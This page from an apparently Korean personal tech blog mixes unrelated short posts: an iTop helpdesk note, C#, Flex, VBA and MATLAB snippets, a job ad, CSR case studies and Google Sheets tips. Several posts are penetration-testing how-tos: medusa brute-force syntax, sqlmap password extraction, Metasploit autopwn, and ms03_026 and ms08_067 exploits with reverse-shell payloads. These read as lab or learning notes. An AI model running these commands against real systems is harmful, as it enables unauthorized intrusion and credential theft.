메뉴 건너뛰기

imp

[itop] Helpdesk assign

lispro062017.09.05 02:33조회 수 1215댓글 0

  • 3
    • 글자 크기

아무리 찾아도 change management 에서 할당 가능한 team과 person 이 helpdesk 에서 목록으로 출력되지 않는다.


역할 등이 해당 업무에 적합한 contact 들이 없어서 그런 것으로 추정했다.


Service management 에서 Delivery Models 를 임으로 추가하여 할당할 수 있는 team 과 person 이 출력되도록 했다.


delivery.png


기능은 매우 많고, DB 사용에 따른 메모리 소모도 큰데, 어떻게 효율적으로 사용할지는 고민해 봐야겠다.


assign.png


* Delivery model 임의 추가(모를 땐, 입력하고 보는 것이다.)

added.png

lispro06 (비회원)
  • 3
    • 글자 크기

댓글 달기

[bWAPP] HTML Injection - Reflected (URL)

[원문보기]

A1 - Injection

HTML Injection - Reflected (URL)


현재 url을 표시해주는 간단한 서버사이드 스크립트이다.


~.php?a={스크립트구문}


을 넣어주면 실행 가능하다.


A1XSS-URL.PNG


html 인젝션은 주소창 뒤에 ? 을 넣고 태그를 넣으면 된다.


?<h1>test</h1>

[backtrack] 무작위 공격 툴 medusa 사용법

[원문보기]
# medusa -M [PS] -h [IP] -u [ID] -p [PW]

[PS] : ssh, mysql, telnet ......
[IP] : ip address
[ID] : target id
[PW] password

여기서 -H, -U, -P로 하면, [] 에 파일 경로를 입력하여 대입할 수 있다.

시간이 오래걸리고, 부하가 예상되니, 주의해서 사용할 것.

dictionary 파일과 패스워드파일은 좋은게 없으니, 알아서 잘 구하길......

[FACEBOOK] 앱 만들기2 - 담벼락에 글 쓰기, 글 가져오기, 생일 및 프로필 보기

[원문보기]
read_stream, publish_stream, user_birthday
에서 r은 뉴스 피드 읽기, p는 게시하기, u는 생일 가져오기 인데, 나머지가 더 필요하면 ref에서 찾아보기 바란다.
$user_profile 변수(배열)에 user_birthday가 포함되어 있으며, 나머지 필드는 var_dump, print_r 등으로 확인하변 된다.

허가하지 않으면, 페북 메인으로 가게 했고, 허가하면, 앱으로 가도록 했다.

F3.jpg

F4.jpg

if ($session==null) {
 $url = $facebook->getLoginUrl(array('scope' => 'read_stream,publish_stream,user_birthday','cancel_url'=>'http://www.facebook.com','next' => 'http://apps.facebook.com/앱네임스페이스/'));
 echo "<script> document.location.replace('$url'); </script>";
} else if($session=$facebook->getUser()){
if($_SERVER['QUERY_STRING']==""){//iframe으로 들어가지 않아 이런 허접한 방법을 썼다.
$birthday=$user_profile[birthday];//생일
$hometown=$user_profile[hometown];//고향
$sports=$user_profile[sports];//좋아하는 운동
$feeds   = $facebook->api('/me/feed?limit=2000&access_token='.$session["access_token"]); //뉴스 피드 가져오기
$data=$feeds[data];//데이터 변수에 넣어 출력 준비

//아래와 같은 반복문으로 댓글과 메시지를 출력할 수 있다.
for($i=0;$i<count($data);$i++){
$msg=$data[$i];
$comments=$data[$i][comments];
$count=count($comments[data]);

if($user==$msg[from][id]){
if($msg[message]!="")
$ret[]=$msg[message];
}
for($k=0;$k<$count;$k++){
$cd=$comments[data][$k];
if($user==$cd[from][id])
if($msg[message]!="")
$ret[]=$cd[message];
}
}
//원하면 아래와 같이 접근자의 사진을 출력할 수 있다.
echo '<img src="https://graph.facebook.com/'.$user.'/picture">';

// 아래와 같은 데이터 구조로 접근자 담벼락에 글을 쓸 수 있다.
$attachment = array('message' => '메시지',
                'name' => $title,
                'caption' => $desc,
                'link' => $link,
                'description' => $desc,
                'picture' => $imgurl,
                'actions' => array(array('name' => '앱이름',
                                  'link' => 'http://apps.facebook.com/앱네임스페이스'))
                );


    $result = $facebook->api('/me/feed/',
                                'post',
                                $attachment);
}else{//승인은 되었으나 iframe안에 있지 않을 때, 앱 메인으로 이동시킨다.
echo "<script> document.location.replace('http://apps.facebook.com/앱네임스페이스'); </script>";
}
}
F5.jpg

(주) 드림투리얼리티 - 전자책 솔루션기업

[원문보기]



















업무내용 및 상세자격요건
㈜드림투리얼리티는 전자문서통합포맷(확장명, csd)의 국산보급으로 국내 소프트웨어발전 뿐만아니라 아도비사의 PDF에 대응하는 혁신의 소프트웨어이며, 이미 국내 금융권과 공공기관에서 인증한 우수기술입니다.

당사는 국내뿐만아니라 세계시장(일본,중국,미국등)에 제품공급이 진행중에 있으며, 유비쿼터스 환경하의 모바일(휴대폰, 전자사전, PSP, PMP, PDA등)에서도 전자문서 볼 수 있는 획기적인 기술입니다.

㈜드림투리얼리티와 미래를 함께 할 인재를 모십니다.
http://www.d2r.co.kr , http://www.csdcenter.com

------------------------------
CSD 기술 적용 사이트
파란 더진 - http://zine.paran.com
한컴 유비튜브 - http://www.ubitube.com
KT BooKT - http://www.bookt.co.kr
------------------------------


모집부문
- 웹개발자 (내근직)


업무내용
- CSD 관련 웹서비스 개발


자격요건
- 웹사이트 구축에 대한 이해와 경험이 있으신 분
- HTML,JavaScript와 JSP,PHP,ASP등 하나 이상의 웹 프로그래밍 언어가 사용 가능하신 분
- 하나 이상의 데이터베이스에 대한 경험과 SQL 사용이 가능하신 분
- CSD를 사용해보신분 우대

제출서류 및 전형방법
제출서류
- 이력서, 자기소개서 각 1부
- 이력서에 긴급연락처, 희망연봉 기재 필수


상세요강 전형절차
- 1차 : 서류전형
- 2차 : 면접전형
- 3차 : 임원면접 및 연봉협상
- 면접은 서류전형 합격자에 한해 개별통보

근무조건
- 주 5일 근무 / 오전 10시 ~ 7시


자격 조건
- 2년제 대학 졸업자 이상
- 전산 전공자
- 해외 여행에 결격사유 없는 사람


회사 위치
경기도 성남시 분당구 구미동 153 로드랜드EZ타워 811호
(분당서 오리역 7번출구로 나와서 약 70미터 거리에 위치)

[backtrack] sqlmap을 이용한 injection test 및 주요 정보 획득

[원문보기]

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u ""http://~/?param=1&param=2" -v 1 --current-user --password


를 입력해 error based 공격으로 id를 알아낸다.


파라미터를 어떤거에 대입할 건지 묻는 말이 나오는데, default는 앞에 있는 파라미터 이다.


id만 알아내도, 무작위 대입으로 외부에서 접근 가능한 db에 로그인 시도가 가능하다.



C#으로 xml 파싱하기

[원문보기]

위와 같이 Windows 응용 프로그램으로 프로젝트를 생성한 뒤, 클래스뷰를 이용해 Form1.cs의 코드를 작성하면, 된다. 아래의 bold체는 차일드노드의 개수에 따라 전역변수 i를 증가시켜 파싱하여 label에 기록하는 부분이다. 



using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;


using System.Xml;


namespace xmlparser
{
    public partial class Form1 : Form
    {
            int i = 0;
        public Form1()
        {
            InitializeComponent();


            string filePath = @"booklist.xml";
            XmlDocument xmlDocument = new XmlDocument();
            xmlDocument.Load(filePath);


            XmlElement eBooklist = xmlDocument.DocumentElement;


            XmlElement eFirstBook = (XmlElement)eBooklist.FirstChild;


            XmlNodeList nlchilds = eFirstBook.ChildNodes;


            label3.Text = "루트 엘리먼트 정보";
            label4.Text = eBooklist.Name;
        }


        private void button1_Click(object sender, EventArgs e)
        {
            string filePath = @"booklist.xml";
            XmlDocument xmlDocument = new XmlDocument();
            xmlDocument.Load(filePath);


            XmlElement eBooklist = xmlDocument.DocumentElement;


            XmlElement eFirstBook = (XmlElement)eBooklist.FirstChild;


            XmlNodeList nlchilds = eFirstBook.ChildNodes;



            if (nlchilds.Count > i)
            {
                XmlElement eChild = (XmlElement)nlchilds[i];
                label3.Text = eChild.Name + "(" + i + ")";
                label4.Text = eChild.InnerText + "(" + nlchilds.Count + ")";


                i++;
            }
            else
            {
                label3.Text = "자료의 수는" + nlchilds.Count + "개 입니다.";
                label4.Text = "자료의 끝 입니다";
            }


        }
    }
}

[PPT] 파워포인트 전체 페이지 넣는 VBA 스크립트

[원문보기]
반드시 해야할 것.
마스터 보기에서 삽입->머리글/바닥글
바닥글의 체크박스를 체크하고, 모두적용을 클릭함.
아래 그림과 같이, "바닥글"영역이 존재해야 error가 나지 않음.(for문의 시작을 2로 했기 때문에 첫 슬라이드는 바닥글이 존재하지 않아도 됨)^^V



1. Alt+F11(Visual Basic Editor)
2. 삽입 -> 모듈
3. 모듈창에 아래와 같이 입력
4. 실행(F5)하면 바닥글 위치에 표시됩니다.

Sub dhUserPage()
    Dim i As Integer, j As Integer
   
    With ActivePresentation
        If .Slides.Count > 1 Then
            For i = 2 To .Slides.Count
                .Slides(i).HeadersFooters.Footer.Text = i & "/" & .Slides.Count
            Next i
        End If
    End With
End Sub

[backtrack] autopwn 을 이용한 자동 공격

[원문보기]

backtrack 4를 설치하거나, image를 받아서 실행시킨다.


backtrack4는 자동으로 네트워크 설정이 안 되기 때문에,


# /etc/init.d/networking start


자동으로 실행시키려면, .bash_profile에 등록 한다.


# vi /root/.bash_profile


/etc/init.d/networking start



이젠 autopwn을 사용할 차례다.


# msfconsole

msf > db_status


[*] postgresql selected, no connection


라고 나온다.

그러면, 사용할 수 있는 db를 알아보기 위해


msf > db_driver


[*]    Active Driver: postgresql

[*]        Available: postgresql, mysql, sqlite3



mysql과 postgresql로 test해 봤는데, 잘 안 되어서 sqlite3로 시도했다.


msf > db_driver sqlite3

[*] Using database driver sqlite3

msf > db_create client

[-]

[-] Warning: The db_create command is deprecated, use db_connect instead.

[-]          The database and schema will be created automatically by

[-]          db_connect. If db_connect fails to create the database, create

[-]          it manually with your DBMS's administration tools.

[-]

[*] The specified database already exists, connecting

[*] Successfully connected to the database

[*] File: client

msf > db_status

[*] sqlite3 connected to client



위의 과정으로 연결 상태를 확인한 후, 대상 ip를 아래와 같이 입력하여, 자동 공격을 시도해 본다.


msf > db_nmap -sS -sV -T 5 -P0 -O xxx.xxx.xxx.xxx


Starting Nmap 5.35DC1 ( http://nmap.org ) at 2012-06-07 10:35 EDT

Nmap scan report for xxx.xxx.xxx.xxx

Host is up (0.015s latency).

Not shown: 990 closed ports

PORT     STATE    SERVICE      VERSION

22/tcp   open     ssh          OpenSSH 4.3 (protocol 2.0)

80/tcp   open     http         Apache httpd 2.2.17 ((Unix) DAV/2 PHP/5.2.16)

111/tcp  open     rpcbind      2 (rpc #100000)

135/tcp  filtered msrpc

139/tcp  filtered netbios-ssn

445/tcp  filtered microsoft-ds

1723/tcp filtered pptp

2869/tcp filtered icslap

3306/tcp open     mysql        MySQL (unauthorized)

4444/tcp filtered krb524

Device type: general purpose

Running: Apple Mac OS X 10.5.X

OS details: Apple Mac OS X 10.5.5 (Leopard)


OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 10.86 seconds

msf > db_autopwn -p -e -t

[*] Analysis completed in 9 seconds (0 vulns / 0 refs)

[*]

[*] ================================================================================

[*]                             Matching Exploit Modules

[*] ================================================================================

[*]   xxx.xxx.xxx.xxx:111  exploit/netware/sunrpc/pkernel_callit  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/unix/webapp/oscommerce_filemanager  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/lotus/domino_http_accept_language  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/iis/ms02_018_htr  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/unix/webapp/base_qry_common  (port match)

[*]   xxx.xxx.xxx.xxx:80  exploit/windows/http/trendmicro_officescan  (port match)




음.... 성공하면, session 이 열렸다고 나오는데, 실패하면, 0 sesssions 라고 나온다.



http://www.youtube.com/watch?v=VXmE0QycUd8


나머지는 동영상을 참조 한다.

성공하면 아래와 같이 콘솔로 접근할 수 있다.


sessions -l

session -i 1

meterpreter > execute  -f cmd.exe -H -i 

c:WINDOWSsystem32>

[backtrack] msrpc 135 파일 및 프린터 공유 취약점

[원문보기]
1.jpg

위의 두개가 체크 되어 있으면, 

msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/dcerpc/ms03_026_dcom
msf exploit(ms03_026_dcom) > show payloads
msf exploit(ms03_026_dcom) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(ms03_026_dcom) > set LHOST [MY IP ADDRESS]
msf exploit(ms03_026_dcom) > set RHOST [TARGET IP]
msf exploit(ms03_026_dcom) > exploit


위와 같은 공격으로 쉘이 침투 당하게 된다.

flex 페이지 이동

[원문보기]
<mx:Script>
 <![CDATA[
private function goUrl(URL:String):void {
    var url:URLRequest = new URLRequest(URL);
    var uv:URLVariables = new URLVariables();
    url.method = "GET";
   
    /**    
    * 파라메터 전달
    * 파라메터명 uv.파라메터명 = "파라메터값"
    */
 
    uv.board = "guest";
    uv.no= "100"; 
    url.data = uv;
    navigateToURL(url);
}
 ]]>
</mx:Script>
<mx:Button x="169" y="274" label="Button" click="goUrl('http://google.com');"/>

이런 간단한 것도 정리해야 나중에 쓸데가 있다. ㅋ

flex 외부 변수 이용, 받기, 현재 url

[원문보기]
http://www.abdulqabiz.com/blog/archives/macromedia_flex/how_to_get_url.php

나는 제목과 같은 검색어로 꾸준히 찾았던 것 같다.

역시 방법은 있었다.

우....

친절하게 소스파일까지...ㅋㅋ

[python] 파일에서 문자열 찾기 소스

[원문보기]
http://bable.tistory.com/343 의 소스이다.

테스트 결과 동작한다.

import string
f = open("c:\Python27\target.txt","r")

lines = [] # list

for paragraph in f:
lines = string.split(paragraph, ".")
for each_line in lines:
if each_line.find(" get ") > 0:
print each_line
else:
pass

f.close()



C:Python27>python.exe line.py
you get test
i get to the wh

[backtrack] netbios 바인딩 microsoft-ds 445 취약점

[원문보기]
1.jpg

그림과 같이 설정되어 있으면, backtrack의 ms08_067_netapi를 이용한 exploit으로 쉘에 접근할 수 있다.

nmap을 통해 확인해 보면,

445/tcp  open  microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds

위와 같이 열려 있는 경우가 있다.

backtrack에서

$ msfconsole

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 10.211.55.140
RHOST => 10.211.55.140
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > set LHOST 10.211.55.162
msf exploit(ms08_067_netapi) > exploit

위와 같이 하면, 바로 쉘에 접근되고, 관련 동영상은 아래 주소에 있다.


해결 방법은 netbios 사용 안함(disable)로 설정하면 된다.

275.jpg

json encoding, decoding

[원문보기]
json에 관한, flex에 대해서도 흥미로운 자료가 많다.

그런데, 무작정 갖다 쓰는게 부담이 된다.. 또한 홍길동이 벌써 서른이라니.....

<?xml version="1.0" encoding="utf-8"?>
<mx:Application xmlns:mx="http://www.adobe.com/2006/mxml" layout="absolute" initialize="initApp()">
        <mx:Script>
                <![CDATA[
                        import com.adobe.serialization.json.JSON;
                        import mx.controls.Alert;
                        
                        private function initApp():void{
                                var obj:Object = new Object();
                                obj.name="홍길동";
                                obj.age=30;
                                
                                var json:String = JSON.encode(obj);
                                trace(json);
                                
                                var obj2:Object = JSON.decode(json);
                                mx.controls.Alert.show(json + obj2.name + "," + obj2.age);
                        }
                ]]>
        </mx:Script>
</mx:Application>

파일1은 flex관련 문서이고, file2는 flex용 json라이브러리이다.

C#으로 네이버맵API에서 X,Y좌표 추출하기

[원문보기]


            string filePath = @"geocode.xml";
            XmlDocument xmlDocument = new XmlDocument();
            xmlDocument.Load(filePath);


            XmlElement xyinfo = xmlDocument.DocumentElement;
            XmlElement iteminfo = (XmlElement)xyinfo.ChildNodes[2];
            XmlElement pointinfo = (XmlElement)iteminfo.ChildNodes[0];
            XmlElement pointinfox = (XmlElement)pointinfo.ChildNodes[0];
            XmlElement pointinfoy = (XmlElement)pointinfo.ChildNodes[1];


            label2.Text = pointinfox.InnerText;
            label4.Text = pointinfoy.InnerText;


            string filePath2 = @"geocode2.xml";
            XmlDocument xmlDocument2 = new XmlDocument();
            xmlDocument2.Load(filePath2);


            XmlElement xyinfo2 = xmlDocument2.DocumentElement;
            XmlElement iteminfo2 = (XmlElement)xyinfo2.ChildNodes[2];
            XmlElement pointinfo2 = (XmlElement)iteminfo2.ChildNodes[0];
            XmlElement pointinfox2 = (XmlElement)pointinfo2.ChildNodes[0];
            XmlElement pointinfoy2 = (XmlElement)pointinfo2.ChildNodes[1];


            label5.Text = pointinfox2.InnerText;
            label6.Text = pointinfoy2.InnerText;

첫번째 아이템의 좌표 추출이다. 다음 아이템의 것을 추출하려면, xyinfo2.ChildNodes에서 3, 4로 이동하면서 찾으면 된다.

Hamming Window Amplitude Response

[원문보기]

% Chapter 7: Hamming Window Amplitude Response


%


M = 45; alpha = (M-1)/2;


n = -alpha:alpha;


w = (hamming(M))'; sumw = sum(w);


N = 1000; omega = (2*pi/N)*[-N/2:N/2];


Wr = real(w*(exp(-j*n'*omega)));


db = 20*log10(abs(Wr)/max(Wr));


IntWr = cumsum(Wr);


Intdb = 20*log10(abs(IntWr)/N);


k = (N/2+1) - min(find(Intdb > -53));


tr_width = 2*k*2*M/N, %actual transition width in pi/M units


omega1 = -(tr_width/2)/M; omega2 = (tr_width/2)/M;


%


% plots


subplot(1,1,1)


subplot(2,2,1); stem(n,w);


axis([-(alpha+8),(alpha+8),-0.1,1.1]);


set(gca,'YTickMode','manual','YTick',[0,1])


set(gca,'XTickMode','manual','XTick',[-22,0,22]);


title('Hamming Window : M=45')


xlabel('n'); ylabel('w(n)')


subplot(2,2,3); plot(omega/pi,Wr);


axis([-1,1,-2,sumw+5]);


set(gca,'YTickMode','manual','YTick',[0,sumw])


set(gca,'XTickMode','manual','XTick',[-1,0,1]); grid


set(gca,'XTickLabelMode','manual','XTickLabels',[' 0';'22';'45']);


title('Amplitude Response')


xlabel('frequency in pi units'); ylabel('Wr')


subplot(2,2,2); plot(omega/pi,db);


axis([-1,1,-60,10]);


set(gca,'YTickMode','manual','YTick',[-60,-42,0])


set(gca,'YTickLabelMode','manual','YTickLabels',['60';'43';' 0'])


set(gca,'XTickMode','manual','XTick',[-1,0,1]);grid


title('Amplitude Response in dB')


xlabel('frequency in pi units'); ylabel('Decibels')


subplot(2,2,4); plot(omega/pi,Intdb);


axis([-1,1,-70,10]);


set(gca,'YTickMode','manual','YTick',[-70,-54,0])


set(gca,'YTickLabelMode','manual','YTickLabels',['70';'54';' 0'])


set(gca,'XTickMode','manual','XTick',[-1;omega1;omega2;1]);grid


set(gca,'XTickLabelMode','manual','XTickLabels',['-1';'  ';'  ';' 1'])


title('Accumulated Amplitude Response')


xlabel('frequency in pi units'); ylabel('Decibels')


text(omega2,5,'Width=(6.6)*pi/M')

국제적 기업들의 CSR 사례

[원문보기]

전략적 사회공헌 활동의 사례


방법/사례


1) NGO와 파트너쉽
    맥도날드 & EDF : 포장재 쓰레기 등 공동해결


2) 공익연계마케팅
    AMEX : 자유의 여신상 보수자금 지원


3) 지역사회공헌
   월마트의 토착화된 지역사회공헌


4) 자원봉사
  GE 엘펀(Elfun)


5) 재단
  MSN : 빌 & 멜린다 게이츠재단


6) 직접캠페인
  유한킴벌리의 ‘우리강산 푸르게 푸르게’



① NGO와의 파트너쉽


맥 도널드는 기존의 환경공해 기업이라는 이미지를 털어 낼 전략의 일환으로서 환경단체 EDF(Environmental Defense)와 파트너쉽을 통하여 포장재와 쓰레기 문제 해결을 위한 공동 사업을 실시함으로 패스트푸드 업체의 약점을 극복하고 오히려 소비자들로부터 긍정적인 평가를 이끌어 내었다. EDF는 대표적 환경공해 기업의 변화과정을 통한 샘플링 효과를 기대하였으며 선도기업인 맥도널드의 환경친화적인 이미지 변화로 인하여 후발기업들에게 파급효과를 기대할 수 있었고 맥도널드 또한 맥도널드가 부담해야할 환경투자 비용도 절감할 수 있었다.



② 공익연계마케팅


‘아 메리칸 익스프레스’는 1983년에 새로운 아멕스 카드가 만들어질 때마다 1달러를, 그리고 1983년 사사분기동안에 Amex 카드가 한번 사용될 때마다 1센트를 ‘자유여신상의 유지와 복구’에 기부하는 연계 프로그램을 마련하였고, 이것이 대대적인 성공을 거두게 되었다. 이 프로그램으로 Amex는 자유여신상의 유지와 복구에 170만 달러를 기부했고, 캠페인 기간 동안에 카드 사용이 28%나 증가한 것으로 나타났다. 이 성공사례가 다른 기업들을 자극하기 시작하면서 ‘공익연계마케팅’(CRM:Cause-Related Marketing)이라는 프로그램이 공식적으로 등장하게 되었다.



③ 지역사회공헌


세 계 최대 유통기업인 월마트는 2003년에 세계 4,906개 매장에서 2,563억달러(약 318조원)의 매출을 올린 세계적으로 가장 존경받는 기업 중에 하나로 2003년과 2004년 2년 연속 미국 경제잡지<Fortune>이 선정하는 가장 존경받는 기업 1위에 선정되었으며 2003년 한해에 사용한 사회공헌 기금도 약 1억 5천만 달러, 회사 전체 이익에 1.3% 에 이른다고 한다.  이런 월마트의 사회공헌 활동은 철저히 지역사회에 초점을 맞추고 있다는 점에서 다른 기업들과 크게 다르다. 대외적으로 생색이 많이 나는 대규모 지원보다는 지역사회에 가장 직접적인 도움을 줄 사업에 참여하여 월마트의 매장들이‘지역사회공헌 활동의 기지’의 역할을 하도록 하고 있다. 돈을 지원한 뒤에는 간섭하지 않고 지원단체 선정 등도 각 지역 매장 직원들에게 맡기는 것도 월마트식 사회공헌의 특징으로 각 매장마다 지역사회 참여 간사를 선정하고 10 여명의 위원회를 구성해 결정을 내린다. 월마트는 이런 방식으로 전 세계에서 문맹퇴치, 어린이병원, 미아찾기, 여성 건강 캠페인, 빈곤층 식사 보조, 노년층 자립 지원 등 다양한 ‘토착형 사회공헌 활동’을 하고 있으며 옛 동독 지역에서는 낙후된 어린이 놀이터 개선작업에 투자를 한바 있고, 한국에서는 나무심기 등 환경관련 분야와 재난구호 활동에 참여하였다.



④ 자원봉사


2005 년 Fortune 이 선정한 세계에서 가장 존경받는 기업 GE는 사회공헌 활동을 ‘GE재단’과 ‘GE 엘펀(Elfun)’ 두 개의 축으로 구분, 운영하고 있다. GE재단은 교육, 문화, 환경, 사회단체 등에 대규모 금전적 지원을 하며 투입되는 금액은 연간 10억 달러에 이르며 1989년부터 엘펀과 연계해 저소득층 지역에서 선정된 특정학교의 대학진학률을 두 배 이상 증가시키는 대학진학프로그램(College Bound Program)을 지원하고 있다. GE 엘펀은 GE 임직원·퇴직자들로 구성된 전세계적 자원봉사단체로서 140여개 지부와 5만명 이상이 회원으로 가입되어 있으며, 장애인·소년소녀 가장·노인 등 소외계층에 대한 봉사활동과 자연보호·헌혈·문맹교육·마약퇴치·적십자 활동 등을 수행하고 있다. 또한 직원들은 자원봉사 활동에 연간 100만 시간 이상을 할애하고 있으며, 자원봉사 모범상인 필립상을 통해 직원들의 봉사활동을 격려하고 있다.



⑤ 재단


빌 게이츠 마이크로소프트(MS) 회장은 회사의 사회공헌 활동과는 별도로, 기부를 통한 사회책임에 적극 나서고 있다. 이를 위해 그가 만든 것이 자신과 부인의 이름을 딴 ‘빌&멜린다 게이츠 재단’이다. 이 재단의 목표는 세계 보건격차의 해소로 선진국 수준의 보건 혜택을 세계 어디서나 당연히 누리게 하자는 것이다. 특별히 ‘빌 & 멜린다 게이츠 재단은 그동안 비용 문제로 엄두를 내지 못했던 백신들을 연구개발하고, 후진국들의 보건환경 개선을 위하여 지원하고 있다. 국제에이즈백신이니셔티브는 5~6가지에 이르는 복합치료제를 개발하고 있고, 말라리아백신이니셔티브는 별도로 8가지 백신 개발 프로젝트를 진행하고 있다. 그는 또 기금을 지원받으려면 보건 분야 예산을 늘려야 한다는 조건을 달아 각국이 보건환경 개선을 위한 노력을 하도록 만들고 있다.



⑥ 직접캠페인


1984 년 8월부터‘우리강산 푸르게 푸르게’라는 슬로건을 가지고 캠페인을 벌여온 유한킴벌리는 나무를 심고 자연을 사랑하는 우리나라의 대표적인 환경친화 기업으로 알려져 있다. 이 회사는 주로 나무를 이용해 제품을 만들어야 하는 특성상 환경단체나 소비자단체에게 환경을 파괴하는 기업으로 가장 먼저 성토의 대상이 될 수도 있을 것이다. 그러나 유한킴벌리는 오히려 1999년 한 웹사이트에서 실시한 환경친화적 기업 설문조사에서 1 위를 차지하였다. 시범림 조성사업으로 캠페인을 시작한 첫 해부터 산림조합중앙회에 기금을 기탁해 오고 있고 지금까지 450만평에 500만 그루의 나무를 심었다. 또한 청소년들에게 자연환경의 소중함을 느낄 수 있도록 1988년부터 여름방학에는 그린캠프를, 새롭게 가정을 꾸민 신혼부부들이 직접 나무를 심고 자연을 접할 기회를 제공하기 위해 나무심기 체험 프로그램을 식목일 전후로 하여 실시하고 있다. 유한 킴벌리의 기업 광고 노출량은 대기업의 그것에 비해 년 간 10분의 1 수준이지만 구체적인 실천 프로그램들이 연계되어 있기에 기업의 신뢰를 높이는데 훨씬 효과적이다.

터보코드

[원문보기]
bdclose all;
set_param(0, 'CharacterEncoding', 'windows-1252');

simulink를 저장하기 전에 위와 같이 encoding을 변경해준다. 폴더나 파일명이 한글이면 안된다.

[GS] 구글 스프레드시트에서 ROW 값 얻기

[원문보기]

그동안은 데이터베이스처럼 쓰는 구글 스프레드시트의 업데이트나 행번호 찾기를 위해 =ROW() 를 일일이 넣어줬다.


더 관리하기 편할 수도 있는데, 자동화된 스크립트로 반영해 줘야하는 것이 큰 이슈였다.


MATCH 함수를 이용해 찾고자 하는 행의 번호를 출력하도록 사용했는데, 추후 활용이 될지는 모르겠다.


=IF(IFERROR(MATCH(B2,'시트'!A1:A,0)),MATCH(B2,'시트'!A1:A,0),0)


'시트'라는 시트에 A열에 찾고자 하는 키워드(고유값)가 B2에 있다면, 행번호를 반환하는 수식이다.


이수식은 QUERY를 사용하여 질의하는 환경에서 사용가능하고, 기존 데이터를 출력하는 부분에서는 =ROW() 수식으로 유지하는 것이 더 낫다.


특정 행을 찾아서 지우거나 업데이트, 추가된 값을 넣고자 할 때, 질의되는 키워드를 B2에 넣어 행번호를 찾는 수식이 적용된 셀의 내용을 반환받아 처리할 수 있다. 게시판처럼 활용되거나 고유값을 사용하는(해시로 만들어 넘버링하거나 절대번호가 있는) 환경에서 행 위치에 적용 가능하다.




구글 스프레드시트에서 조건을 찾은 뒤, 특정 컬럼값만 출력하는 것은 이중 query로 처리했다. 조건에 의해 모든 행 레코드를 반환하는데, 컬럼의 이름을 출력하도록 한뒤 transpos 하면 조건이 1컬럼에 위치한 구조가 된다. 1컬럼에 해당하는 where 문을 query로 만들면 해당 행을 찾게되고, 최상위 행에는 최초 query의 조건이 위치되어 다시 transpos 하게 되면 원하는 컬럼만 추출되는 형태이다.


기존 관계형 데이터 베이스에서는 query 를 사용하 각 배열에서 원하는 값만 배열 이름이나 순서로 일일이 출력했는데, GS에서는 이중 쿼리로 일괄 출력이 가능하다. 만일 기존 언어로 처리한다면, 다시 db에 넣고 조건문으로 찾은뒤, 첫번째 조건을 재출력하여 순차적으로 보여주는 방법이 있다.


그런데 그런 방법은 GS에서 LIKE로 찾은 조건에 해당하는 1행이나 별도 변수에 넣고 사용해야하는 복잡함이 있어 동일하게 활용하기는 번거롭다. 정리하면서 GS 만의 특징으로 가능한 출력법에 대해 인지했다.


출력되는 내용이 비교해야하는 상황이라면 복잡한 배열 파싱의 연산을 위한 코드를 작성하지 않고, 간단하게 비교 구문을 추가해 줄 수 있다.


GS 가 해야할 일, 파이선이 해야 할일을 잘 분배하려면 많은 시행착오를 통해 각각의 장점을 파악하는 것이 필요하다.


[1차조건 - 항목](데이터는 지웠다.)

이름일자내용
항목2017. 10. 17 오전 12:00:0016년 1월16년 2월16년 3월16년 4월16년 5월16년 6월16년 7월16년 8월16년 9월16년 10월16년 11월16년 12월17년1월17년2월
항목12017. 10. 17 오전 12:00:00
항목22017. 10. 17 오전 12:00:00


[TRANSPOS]

항목항목1항목2
2017. 10. 17 오전 12:00:002017. 10. 17 오전 12:00:002017. 10. 17 오전 12:00:00
16년 1월
%
16년 2월
%
16년 3월
%
16년 4월
%
16년 5월
%
16년 6월
%
16년 7월
%
16년 8월
%
16년 9월
%
16년 10월
%
16년 11월
%
16년 12월
0%
17년1월
%
17년2월
1%
17년3월
%
17년4월
%


[2차 조건 - 2월]

항목항목1항목2
16년 2월13%
16년 12월60%
17년2월31%


[TRANSPOS]

항목16년 2월16년 12월17년2월
항목1163
항목23%0%1%



2월 조건에 12월도 걸려 버렸지만, 이를 잘 예외처리하면 16년 2월과 17년 2월의 비교를 아주 간단히 처리할 수 있다.


[WCAG] 플래시 대체 텍스트

[원문보기]
<script type="text/javascript">
function flash(swfWidth,swfHeight,swf_src){
        var flash_tag = "";
        flash_tag = '<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" ';
        flash_tag +='codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" ';
        flash_tag +='width="'+swfWidth+'" height="'+swfHeight+'" >';
        flash_tag +='<param name="wmode" value="transparent">';
        flash_tag +='<param name="movie" value="'+swf_src+'">';
        flash_tag +='<param name="scale" value="exactfit">';
        flash_tag +='<param name="quality" value="high">';
        flash_tag +='<embed src="'+swf_src+'" quality="high" wmode="transparent" pluginspage="http://www.macromedia.com/go/getflashplayer" ';
        flash_tag +='type="application/x-shockwave-flash"  width="'+swfWidth+'" height="'+swfHeight+'"></embed></object>'
        document.write(flash_tag);
}

   <!--
    flash(150,120,"http://www.bloodinfo.net/images/v2/swf/main/blood_campaign/bood.swf");
   -->
   </script>
   <noscript>
    <strong>[헌혈 공익광고] 당신의 얼굴은 잠깐 찡그려 지지만, 누군가의 얼굴은 평생 활짝 피어납니다.</strong>
   </noscript>

플래시를 함수로 만들고, 실행한다. noscript라면, 대체 텍스트가 출력되도록 noscript 태그를 사용한다.
첨부 (0)
